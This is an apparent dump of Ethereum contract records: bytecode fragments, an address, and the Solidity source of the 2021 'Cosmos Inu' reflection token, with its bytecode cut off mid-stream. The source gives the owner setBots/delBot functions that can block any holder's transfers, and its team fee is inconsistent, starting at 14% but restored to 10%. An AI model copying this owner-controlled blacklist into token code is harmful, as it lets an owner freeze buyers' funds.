ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122012d90329a146b1178bac8b00fa71bc51f038e6b292b83b61a711a5ea44d5b4c264736f6c63430007030033
{"success": true, "error": null, "results": {}}
4,814
0x0919e85942290476ed0a87f966f1955543cfec9d
/** *Submitted for verification at Etherscan.io on 2021-07-14 */ //Cosmos Inu ($CosmosInu) //Deflationary yes //Bot Protect yes //Telegram: https://t.me/cosmosinuofficial //Fair Launch // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CosmosInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cosmos Inu"; string private constant _symbol = "CosmosInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 14; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } if (block.number <= launchBlock + 2 && amount == _maxTxAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c91906132e2565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612e05565b610524565b60405161019991906132c7565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c49190613484565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612db6565b610553565b60405161020191906132c7565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612d28565b61062c565b005b34801561023f57600080fd5b5061024861071c565b60405161025591906134f9565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612e82565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612d28565b610849565b6040516102d29190613484565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b60405161031491906131f9565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f91906132e2565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612e05565b610a53565b60405161037c91906132c7565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e41565b610a71565b005b3480156103ba57600080fd5b506103c3610bc1565b005b3480156103d157600080fd5b506103da610c3b565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612d28565b61119e565b60405161041091906132c7565b60405180910390f35b34801561042557600080fd5b5061042e6111f4565b60405161043b9190613484565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612ed4565b6111fa565b005b34801561047957600080fd5b50610494600480360381019061048f9190612d7a565b611343565b6040516104a19190613484565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612d28565b6113ca565b6040516104de91906132c7565b60405180910390f35b60606040518060400160405280600a81526020017f436f736d6f7320496e7500000000000000000000000000000000000000000000815250905090565b6000610538610531611420565b8484611428565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115f3565b6106218461056c611420565b61061c85604051806060016040528060288152602001613bbd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d2611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120379092919063ffffffff16565b611428565b600190509392505050565b610634611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906133c4565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906133c4565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610818611420565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b60004790506108468161209b565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612196565b9050919050565b6108a2611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610926906133c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f436f736d6f73496e750000000000000000000000000000000000000000000000815250905090565b6000610a67610a60611420565b84846115f3565b6001905092915050565b610a79611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906133c4565b60405180910390fd5b60005b8151811015610bbd576001600a6000848481518110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb59061379a565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c02611420565b73ffffffffffffffffffffffffffffffffffffffff1614610c2257600080fd5b6000610c2d30610849565b9050610c3881612204565b50565b610c43611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc7906133c4565b60405180910390fd5b600f60149054906101000a900460ff1615610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613444565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612d51565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612d51565b6040518363ffffffff1660e01b8152600401610ee5929190613214565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612d51565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc030610849565b600080610fcb6109ed565b426040518863ffffffff1660e01b8152600401610fed96959493929190613266565b6060604051808303818588803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103f9190612efd565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e80000601081905550436011819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161114892919061323d565b602060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190612eab565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60115481565b611202611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906133c4565b60405180910390fd5b600081116112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990613384565b60405180910390fd5b61130160646112f383683635c9adc5dea000006124fe90919063ffffffff16565b61257990919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516113389190613484565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90613424565b60405180910390fd5b600073ffffffffff